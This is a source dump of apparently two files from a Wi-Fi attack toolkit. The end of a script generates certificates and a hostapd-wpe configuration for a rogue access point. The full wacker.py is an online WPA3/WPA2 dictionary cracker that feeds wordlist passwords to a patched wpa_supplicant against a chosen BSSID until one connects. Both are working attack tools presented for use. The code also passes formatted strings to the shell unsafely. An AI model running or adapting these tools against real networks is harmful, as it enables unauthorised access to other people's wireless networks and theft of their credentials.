155 | parser.add_argument('-o', '--org', dest='org', help='Organization for certificate. Optional.')
156 | parser.add_argument('-st', '--state', dest='state', help='State or province for certificate. Optional.')
157 | parser.add_argument('-c', '--country', dest='country', help='Country code for certificate. Optional.')
158 | parser.add_argument('-p', '--password', dest='password', default='password', help='Password for certificate generation (default "password").')
159 | parser.add_argument('-l', '--location', dest='location', help='Location for certificate. Optional.')
160 | parser.add_argument('-ou', '--org-unit', dest='org_unit', help='Organizatoinal unit for certificate. Optional.')
161 | parser.add_argument('-e', '--email', dest='email', help='Email address for cerificate. Optional.')
162 | parser.add_argument('-v', '--verbose', action='store_true', help='Show verbose output.')
163 |
164 | # parse arguments
165 | args = parser.parse_args()
166 | target = args.target
167 | password = args.password
168 |
169 | # Setup the required directories
170 | if not os.path.isdir(os.path.join(target, 'demoCA', 'newcerts')):
171 | os.makedirs(os.path.join(target, 'demoCA', 'newcerts'))
172 | # Write the required index.txt and serial files
173 | with open(os.path.join(target, 'demoCA', 'index.txt'), 'w') as file_h:
174 | pass
175 |
176 | with open(os.path.join(target, 'demoCA', 'index.txt.attr'), 'w') as file_h:
177 | pass
178 |
179 | with open(os.path.join(target, 'demoCA', 'serial'), 'w') as file_h:
180 | file_h.write('01')
181 |
182 | write_cnf(target, 'ca', password, args.country, args.state, args.org, args.common_name, args.location, args.email)
183 | write_cnf(target, 'server', password, args.country, args.state, args.org, args.common_name, args.location, args.email)
184 |
185 | with open(os.path.join(target, target + '.conf'), 'w') as conf_file:
186 | conf_file.write(TEMPLATE_HOSTAPD_CONF.render(
187 | bridge=args.bridge,
188 | broadcast=args.broadcast,
189 | channel=args.channel,
190 | interface=args.interface,
191 | password=password,
192 | pwd=os.getcwd(),
193 | ssid=args.ssid,
194 | target=target,
195 | timestamp=datetime.datetime.utcnow(),
196 | wpa_version=args.wpa_version
197 | ))
198 |
199 | # Build and execute the openssl commands for certificate generation
200 | subj = '/CN=' + args.common_name
201 | if args.country:
202 | subj += '/C=' + args.country
203 | if args.state:
204 | subj += '/ST=' + args.state
205 | if args.location:
206 | subj += '/L=' + args.location
207 | if args.org:
208 | subj += '/O=' + args.org
209 | if args.org_unit:
210 | subj += '/OU=' + args.org_unit
211 | if args.email:
212 | subj += '/emailAddress=' + args.email
213 | # write xpextensions out to a temp file
214 | _, xpextensions_path = tempfile.mkstemp(suffix='.txt')
215 | with open(xpextensions_path, 'w') as file_h:
216 | file_h.write(TEMPLATE_XPEXTENSIONS)
217 | if args.verbose:
218 | print('[*] Wrote xpextensions to tempfile: ' + xpextensions_path)
219 | commands = [
220 | 'openssl dhparam -out ./{}/dh 1024'.format(target),
221 | 'openssl req -new -sha256 -newkey rsa:2048 -passout pass:{} -subj \'{}\' -keyout ./{}/server.key -out ./{}/server.csr'.format(password, subj, target, target),
222 | 'openssl req -new -x509 -keyout ./{}/ca.key -out ./{}/ca.pem -days 365 -config ./{}/ca.cnf '.format(target, target, target),
223 | 'cd ./{}; openssl ca -batch -keyfile ca.key -cert ca.pem -in server.csr -key {} -out server.crt -extensions xpserver_ext -extfile {} -config ./server.cnf; cd ../'.format(target, password, xpextensions_path),
224 | 'openssl pkcs12 -export -in ./{}/server.crt -inkey ./{}/server.key -out ./{}/server.p12 -passin pass:{} -passout pass:{}'.format(target, target, target, password, password),
225 | 'openssl pkcs12 -in ./{}/server.p12 -out ./{}/server.pem -passin pass:{} -passout pass:{}'.format(target, target, password, password),
226 | 'openssl x509 -inform PEM -outform DER -in ./{}/ca.pem -out ./{}/ca.der'.format(target, target)
227 | ]
228 |
229 | for command in commands:
230 | if args.verbose:
231 | print('[*] Running command: ' + command)
232 | else:
233 | command += ' >/dev/null 2>&1'
234 | status = subprocess.call(command, shell=True)
235 | if status:
236 | print('[-] Command failed with status: ' + str(status))
237 | print(' ' + command)
238 | break
239 | else:
240 | print('[+] All commands completed successfully')
241 | print("[*] To run hostapd type: hostapd-wpe ./{0}/{0}.conf -s".format(target))
242 |
243 | os.unlink(xpextensions_path)
244 |
245 | if __name__ == '__main__':
246 | main()
247 |
--------------------------------------------------------------------------------
/src/wacker/wacker.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import argparse
4 | import logging
5 | import os
6 | import re
7 | import signal
8 | import socket
9 | import stat
10 | import subprocess
11 | import sys
12 | import time
13 |
14 | assert sys.version_info >= (3,7)
15 |
16 | def kill(sig, frame):
17 | try:
18 | wacker.kill()
19 | print(f'Stopped at password attempt: {word}')
20 | except:
21 | pass
22 | sys.exit(0)
23 |
24 | signal.signal(signal.SIGINT, kill)
25 |
26 | class Wacker(object):
27 | RETRY = 0
28 | SUCCESS = 1
29 | FAILURE = 2
30 | EXIT = 3
31 |
32 | def __init__(self, args, start_word):
33 | self.args = args
34 | self.start_word = start_word
35 | self.dir = f'/tmp/wacker'
36 | self.server = f'{self.dir}/{args.interface}'
37 | self.conf = f'{self.server}.conf'
38 | self.log = f'{self.server}.log'
39 | self.wpa = '/usr/share/wef/wacker/wpa_supplicant_amd64'
40 | self.pid = f'{self.server}.pid'
41 | self.me = f'{self.dir}/{args.interface}_client'
42 | self.key_mgmt = ('SAE', 'WPA-PSK')[args.brute_wpa2]
43 | self.cmd = f'{self.wpa} -P {self.pid} -B -i {self.args.interface} -c {self.conf}'
44 | if args.debug:
45 | self.cmd += f' -d -t -K -f {self.log}'
46 | self.cmd = self.cmd.split()
47 | wpa_conf = 'ctrl_interface={}\n\n{}network={{\n}}'.format(self.dir, ('sae_pwe=2\n\n', '')[args.brute_wpa2])
48 | self.total_count = int(subprocess.check_output(f'wc -l {args.wordlist.name}', shell=True).split()[0].decode('utf-8'))
49 |
50 | # Create supplicant dir and conf (first be destructive)
51 | os.system(f'mkdir {self.dir} 2> /dev/null')
52 | os.system(f'rm -f {self.dir}/{args.interface}*')
53 | with open(self.conf, 'w') as f:
54 | f.write(wpa_conf)
55 |
56 | loglvl = logging.DEBUG if args.debug else logging.INFO
57 | logging.basicConfig(level=loglvl, filename=f'{self.server}_wacker.log', filemode='w', format='%(message)s')
58 |
59 | # Initial supplicant setup
60 | self.start_supplicant()
61 | self.create_uds_endpoints()
62 | self.one_time_setup()
63 |
64 | # Create rolling average for pwd/sec
65 | self.rolling = [0] * 150
66 | self.start_time = time.time()
67 | self.lapse = self.start_time
68 | print('Start time: {}'.format(time.strftime('%d %b %Y %H:%M:%S', time.localtime(self.start_time))))
69 |
70 | def create_uds_endpoints(self):
71 | ''' Create unix domain socket endpoints '''
72 | try:
73 | os.unlink(self.me)
74 | except Exception:
75 | if os.path.exists(self.me):
76 | raise
77 |
78 | # bring the interface up... won't connect otherwise
79 | os.system(f'ip link set dev {self.args.interface} up')
80 |
81 | self.sock = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM)
82 | self.sock.bind(self.me)
83 |
84 | logging.info(f'Connecting to {self.server}')
85 | try:
86 | self.sock.connect(self.server)
87 | except Exception:
88 | raise
89 |
90 | def start_supplicant(self):
91 | ''' Spawn a wpa_supplicant instance '''
92 | print(f'Starting wpa_supplicant...')
93 | proc = subprocess.Popen(self.cmd)
94 | time.sleep(2)
95 | logging.info(f'Started wpa_supplicant')
96 |
97 | # Double check it's running
98 | mode = os.stat(self.server).st_mode
99 | if not stat.S_ISSOCK(mode):
100 | raise Exception(f'Missing {self.server}...Is wpa_supplicant running?')
101 |
102 | def send_to_server(self, msg):
103 | ''' Send a message to the supplicant '''
104 | logging.debug(f'sending {msg}')
105 | self.sock.sendall(msg.encode())
106 | d = self.sock.recv(1024).decode().rstrip('\n')
107 | if d == "FAIL":
108 | raise Exception(f'{msg} failed!')
109 | return d
110 |
111 | def one_time_setup(self):
112 | ''' One time setup needed for supplicant '''
113 | self.send_to_server('ATTACH')
114 | self.send_to_server(f'SET_NETWORK 0 ssid "{self.args.ssid}"')
115 | self.send_to_server(f'SET_NETWORK 0 key_mgmt {self.key_mgmt}')
116 | self.send_to_server(f'SET_NETWORK 0 bssid {self.args.bssid}')
117 | self.send_to_server(f'SET_NETWORK 0 scan_freq {self.args.freq}')
118 | self.send_to_server(f'SET_NETWORK 0 freq_list {self.args.freq}')
119 | self.send_to_server(f'SET_NETWORK 0 ieee80211w 1')
120 | self.send_to_server(f'DISABLE_NETWORK 0')
121 | logging.debug(f'--- created network block 0 ---\n')
122 |
123 | def send_connection_attempt(self, psk):
124 | ''' Send a connection request to supplicant'''
125 | logging.info(f'Trying key: {psk}')
126 | if self.key_mgmt == 'SAE':
127 | self.send_to_server(f'SET_NETWORK 0 sae_password "{psk}"')
128 | else:
129 | self.send_to_server(f'SET_NETWORK 0 psk "{psk}"')
130 | self.send_to_server(f'ENABLE_NETWORK 0')
131 |
132 | def listen(self, count):
133 | ''' Listen for responses from supplicant '''
134 | while True:
135 | datagram = self.sock.recv(2048)
136 | if not datagram:
137 | logging.error('WTF!!!! datagram is null?!?!?! Exiting.')
138 | return Wacker.RETRY
139 |
140 | data = datagram.decode().rstrip('\n')
141 | event = data.split()[0]
142 | logging.debug(data)
143 | if event == "<3>CTRL-EVENT-BRUTE-FAILURE":
144 | self.print_stats(count)
145 | self.send_to_server(f'DISABLE_NETWORK 0')
146 | logging.info('BRUTE ATTEMPT FAIL\n')
147 | return Wacker.FAILURE
148 | elif event == "<3>CTRL-EVENT-NETWORK-NOT-FOUND":
149 | self.send_to_server(f'DISABLE_NETWORK 0')
150 | msg = f'No suitable target found for freq={self.args.freq}, bssid={self.args.bssid}, ssid={self.args.ssid}'
151 | logging.info(f'NETWORK NOT FOUND\n{msg}')
152 | print(f'\n{msg}')
153 | return Wacker.EXIT
154 | elif event == "<3>CTRL-EVENT-SCAN-FAILED":
155 | self.send_to_server(f'DISABLE_NETWORK 0')
156 | logging.info('SCAN FAILURE')
157 | return Wacker.EXIT
158 | elif event == "<3>CTRL-EVENT-BRUTE-SUCCESS":
159 | self.print_stats(count)
160 | logging.info('BRUTE ATTEMPT SUCCESS\n')
161 | return Wacker.SUCCESS
162 | elif event == "<3>CTRL-EVENT-BRUTE-RETRY":
163 | logging.info('BRUTE ATTEMPT RETRY\n')
164 | self.send_to_server(f'DISABLE_NETWORK 0')
165 | return Wacker.RETRY
166 |
167 | def print_stats(self, count):
168 | ''' Print some useful stats '''
169 | current = time.time()
170 | avg = 1 / (current - self.lapse)
171 | self.lapse = current
172 | # create rolling average
173 | if count <= 150:
174 | self.rolling[count-1] = avg
175 | avg = sum(self.rolling[:count]) / count
176 | else:
177 | self.rolling[(count-1) % 150] = avg
178 | avg = sum(self.rolling) / 150
179 | spot = self.start_word + count
180 | est = (self.total_count - spot) / avg
181 | percent = spot / self.total_count * 100
182 | end = time.strftime('%d %b %Y %H:%M:%S', time.localtime(current + est))
183 | lapse = current - self.start_time
184 | print(f'{spot:8} / {self.total_count:<8} words ({percent:2.2f}%) : {avg:4.0f} words/sec : ' \
185 | f'{lapse/3600:5.3f} hours lapsed : {est/3600:8.2f} hours to exhaust ({end})', end='\r')
186 |
187 | def kill(self):
188 | ''' Kill the supplicant '''
189 | print('\nStop time: {}'.format(time.strftime('%d %b %Y %H:%M:%S', time.localtime(time.time()))))
190 | os.kill(int(open(self.pid).read()), signal.SIGKILL)
191 |
192 | def check_bssid(mac):
193 | if not re.match(r'^([0-9a-fA-F]{2}(?::[0-9a-fA-F]{2}){5})$', mac):
194 | raise argparse.ArgumentTypeError(f'{mac} is not a valid bssid')
195 | return mac
196 |
197 | def check_interface(interface):
198 | if not os.path.isdir(f'/sys/class/net/{interface}/wireless/'):
199 | raise argparse.ArgumentTypeError(f'{interface} is not a wireless adapter')
200 | return interface
201 |
202 | parser = argparse.ArgumentParser(description='A WPA3 dictionary cracker. Must run as root!')
203 | parser.add_argument('--wordlist', type=argparse.FileType('r'), required=True, help='wordlist to use', dest='wordlist')
204 | parser.add_argument('--interface', type=check_interface, dest='interface', required=True, help='interface to use')
205 | parser.add_argument('--bssid', type=check_bssid, dest='bssid', required=True, help='bssid of the target')
206 | parser.add_argument('--ssid', type=str, dest='ssid', required=True, help='the ssid of the WPA3 AP')
207 | parser.add_argument('--freq', type=int, dest='freq', required=True, help='frequency of the ap')
208 | parser.add_argument('--start', type=str, dest='start_word', help='word to start with in the wordlist')
209 | parser.add_argument('--debug', action='store_true', help='increase logging output')
210 | parser.add_argument('--wpa2', dest='brute_wpa2', action='store_true', help='brute force wpa2-personal')
211 |
212 | args = parser.parse_args()
213 |
214 | if os.geteuid() != 0:
215 | print('This script must be run as root!')
216 | sys.exit(0)
217 |
218 | # Find requested startword
219 | offset=0
220 | start_word = 0
221 | if args.start_word:
222 | print(f'Starting with word "{args.start_word}"')
223 | for word in args.wordlist:
224 | if word.rstrip('\n') == args.start_word:
225 | args.wordlist.seek(offset, os.SEEK_SET)
226 | break;
227 | offset += len(word.encode('utf-8'))
228 | start_word += 1
229 | else:
230 | print(f'Requested start word "{args.start_word}" not found!')
231 | sys.exit(1)
232 |
233 | wacker = Wacker(args, start_word)
234 |
235 | def attempt(word, count):
236 | while True:
237 | wacker.send_connection_attempt(word)
238 | result = wacker.listen(count)
239 | if result == Wacker.EXIT:
240 | kill(None, None)
241 | elif result != Wacker.RETRY:
242 | return result
243 |
244 | # Start the cracking
245 | count = 1
246 | for word in args.wordlist:
247 | word = word.rstrip('\n')
248 | # SAE allows all lengths otherwise WPA2 has restrictions
249 | if not args.brute_wpa2 or 8 <= len(word.encode('utf-8')) <= 63:
250 | result = attempt(word, count)
251 | if result == Wacker.SUCCESS:
252 | print(f"\nFound the password: '{word}'")
253 | break
254 | else:
255 | print(f'Bad word in wordlist: "{word}"')
256 | count += 1
257 | else:
258 | print('\nFlag not found')
259 |
260 | wacker.kill()
261 |
--------------------------------------------------------------------------------